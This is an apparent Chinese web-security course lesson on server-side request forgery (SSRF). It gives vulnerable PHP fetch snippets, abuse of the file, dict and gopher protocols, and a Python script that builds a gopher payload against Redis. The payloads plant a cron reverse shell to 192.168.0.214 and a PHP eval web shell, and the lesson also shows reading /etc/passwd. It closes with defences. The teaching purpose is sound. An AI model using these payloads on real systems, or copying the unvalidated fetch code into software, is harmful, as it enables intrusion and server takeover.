风炫安全Web安全学习第四十二节课 SSRF漏洞演示与讲解

第四十二节课 风炫安全Web安全学习第四十一节课 SSRF漏洞演示与讲解

SSRF(Server-Side Request Forgery:服务器端请求伪造)

0x01 漏洞简介

Ssrf是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

Example:

GET /index.php?url=http://google.com/ HTTP/1.1
Host: example.com

在这里,http://example.com 从它的服务器获取 http://google.com

风炫安全Web安全学习第四十二节课 SSRF漏洞演示与讲解

什么地方最容易出现SSRF

  • 云服务器商。(各种网站数据库操作)

  • 有远程图片加载的地方。(编辑器之类的有远程图片加载啊)

  • 网站采集、网页抓取的地方。(很多网站会有新闻采集输入url然后一键采集)

  • 头像的地方。(某易就喜欢远程加载头像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg) 最后一个一切要你输入网址的地方和可以输入ip的地方,都是ssrf的天下。

SSRF可以做什么

  • 对服务器所在的内网进行端口扫描,获取一些服务的banner信息等
  • 攻击运行在内网或者本地的应用程序
  • 对内网WEB应用进行指纹识别,通过访问默认文件实现(Readme等文件)
  • 攻击内外网的WEB应用,主要是GET就可以实现的攻击(比如Struts2,SQL注入等)
  • 下载内网资源(利用file协议读取本地文件等)
  • 利用Redis未授权访问,HTTP CRLF注入达到getshell
  • wooyun峰会猪猪侠的ppt 进行跳板
  • 无视cdn

0x02 漏洞讲解

0x0201 函数

file_get_contents()fsockopen()curl_exec()fopen()readfile()等函数使用不当会造成SSRF漏洞

  1. file_get_contents()
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

file_get_content函数从用户指定的url获取内容,并展示给用户。file_put_content函数把一个字符串写入文件中。

  1. fsockopen()
function GetFile($host,$port,$link) { 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);   
    if (!$fp) { 
        echo "$errstr (error number $errno) \n"; 
    } else { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
?>

fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

  1. curl_exec
if (isset($_GET['url'])){
    $link = $_GET['url'];
    $curlobj = curl_init();// 创建新的 cURL 资源
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
    $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
    curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>

curl_exec函数用于执行指定的cURL会话

0x0202 协议

(1)http/s:探测内网主机存活
(2)file: 在有回显的情况下,利用 file 协议可以读取任意内容
(3)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
(4)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

0x03 漏洞利用

http协议探测主机存活

curl -vvv 'http://191.168.0.1:8080'

file协议读取文件

curl -vvv 'file:///etc/passwd'

使用dict协议探测端口信息

curl -vvv 'dict://127.0.0.1:6379/info'

使用gopher协议攻击redis,getshell

curl -v "gopher://127.0.0.1:6666/_info"

利用redis把payload保存到linux计划任务,然后1分钟之后执行命令

set 1 "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.0.214/2333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

使用gopher攻击内网redis获取权限

改成gopher协议格式脚本

import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/Users/zhoumengying/code/study/ssrf"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
    
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print(payload)

生成的payload:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2459%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.0.214/2333%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

最后补充一下,可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

0x04漏洞防御

1、禁用不需要的协议(如:file:///gopher://,dict://等)。仅仅允许http和https请求
2、统一错误信息,防止根据错误信息判断端口状态
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
4、设置URL白名单或者限制内网IP

0x05 参考

http://blog.evalshell.com/2021/01/05/风炫安全web安全学习第四十二节课-ssrf漏洞演示与讲解/

https://xz.aliyun.com/t/7405?accounttraceid=88b8ebbee5bb4ee6b62c004148f3f8e7ceje

https://www.anquanke.com/post/id/197431

上一篇:SysUtils.StrLCopy、SysUtils.StrPCopy、SysUtils.StrPLCopy


下一篇:Weblogic SSRF漏洞(CVE-2014-4210)